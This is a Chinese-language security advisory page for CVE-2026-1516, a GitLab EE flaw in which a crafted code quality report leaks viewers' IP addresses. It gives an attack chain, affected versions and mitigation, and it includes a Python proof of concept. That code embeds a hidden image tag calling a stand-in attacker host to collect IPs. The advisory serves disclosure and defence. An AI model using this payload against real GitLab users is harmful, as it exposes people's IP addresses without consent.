IPBUF安全漏洞报告
English
CVE-2026-1516 CVSS 5.7 中危

CVE-2026-1516 GitLab EE 代码质量报告信息泄露漏洞

披露日期: 2026-04-08

漏洞信息

漏洞编号
CVE-2026-1516
漏洞类型
信息泄露
CVSS评分
5.7 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
GitLab Enterprise Edition

相关标签

信息泄露GitLabCode QualityCVE-2026-1516SSRF

漏洞概述

GitLab企业版(EE)在代码质量报告功能中存在一处信息泄露漏洞,影响了18.0.0至18.10.3之前的多个版本。攻击者可以通过上传或创建包含特殊构造内容的代码质量报告,诱导其他经过身份验证的用户查看该报告。一旦受害者触发查看操作,攻击者即可窃取受害者的IP地址,从而对用户隐私造成威胁。

技术细节

该漏洞的根源在于GitLab EE处理代码质量报告时,未能正确过滤或渲染其中的外部资源引用。攻击者作为低权限用户,可以在项目中提交包含恶意代码质量报告(如Codeclimate JSON格式)的合并请求或提交记录。在该报告中,攻击者嵌入指向受控服务器的资源链接(如图片或脚本)。当管理员或其他具有查看权限的用户访问GitLab页面并渲染该报告时,浏览器会尝试加载这些外部资源。由于浏览器会自动发送请求,攻击者的服务器即可接收到包含受害者IP地址的HTTP请求日志。由于CVSS向量显示需要用户交互(UI:R),这通常意味着受害者必须点击某个链接或主动查看包含该报告的特定页面。攻击者利用这一点绕过了常规的网络隔离保护,实现了对内部用户IP信息的探测。

攻击链分析

STEP 1
1. 准备恶意载荷
攻击者创建一个恶意的代码质量报告文件(JSON格式),其中包含指向攻击者控制服务器的隐藏资源链接(如图片)。
STEP 2
2. 提交至GitLab
攻击者将该恶意文件提交到GitLab EE仓库中,通常作为合并请求(Merge Request)的一部分或流水线产物。
STEP 3
3. 诱导受害者访问
攻击者诱导具有权限的用户(如管理员或代码审查者)查看包含该恶意报告的页面。
STEP 4
4. 触发资源请求
受害者的浏览器在渲染页面时,自动加载嵌入的外部资源链接,向攻击者的服务器发送HTTP请求。
STEP 5
5. 窃取IP信息
攻击者分析服务器日志,获取受害者的IP地址及其他可能的浏览器指纹信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import json import requests # Target GitLab URL (Example) TARGET_URL = "https://gitlab.example.com/api/v4/projects/1/repository/files/codequality.json" PRIVATE_TOKEN = "glpat-xxxxxxxxxxxx" # Malicious payload designed to trigger an out-of-band connection # This assumes GitLab renders 'content' or 'description' fields allowing HTML/Markdown injection # which then loads an external resource controlled by the attacker. payload_data = [ { "type": "issue", "check_name": "Vulnerability/PoC", "description": "This is a crafted description to leak IP.", "content": { "body": "<img src=\"http://attacker-controlled-server.com/collect_ip?cve=CVE-2026-1516\" style=\"display:none\" />" }, "location": { "path": "src/vulnerable.py", "lines": { "begin": 1 } }, "severity": "critical" } ] def upload_poc(): headers = {"PRIVATE-TOKEN": PRIVATE_TOKEN} # Create file content file_content = json.dumps(payload_data) # In a real scenario, this would commit the file to the repo print("[+] Malicious Code Quality Report Payload Generated:") print(file_content) print("\n[+] Step to simulate attack:") print("1. Commit this JSON as 'codequality.json' in the project root.") print("2. Push to GitLab.") print("3. Wait for a user to view the Merge Request or Pipeline that includes this report.") print("4. Check logs at 'http://attacker-controlled-server.com' for captured IP addresses.") if __name__ == "__main__": upload_poc()

影响范围

GitLab EE >= 18.0.0, < 18.8.9
GitLab EE >= 18.9.0, < 18.9.5
GitLab EE >= 18.10.0, < 18.10.3

防御指南

临时缓解措施
如果无法立即升级,管理员应禁用受影响版本的代码质量报告功能,或者严格审查仓库中的代码质量报告文件,防止恶意代码注入。同时,建议用户不要随意点击或查看来源不明的合并请求报告。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表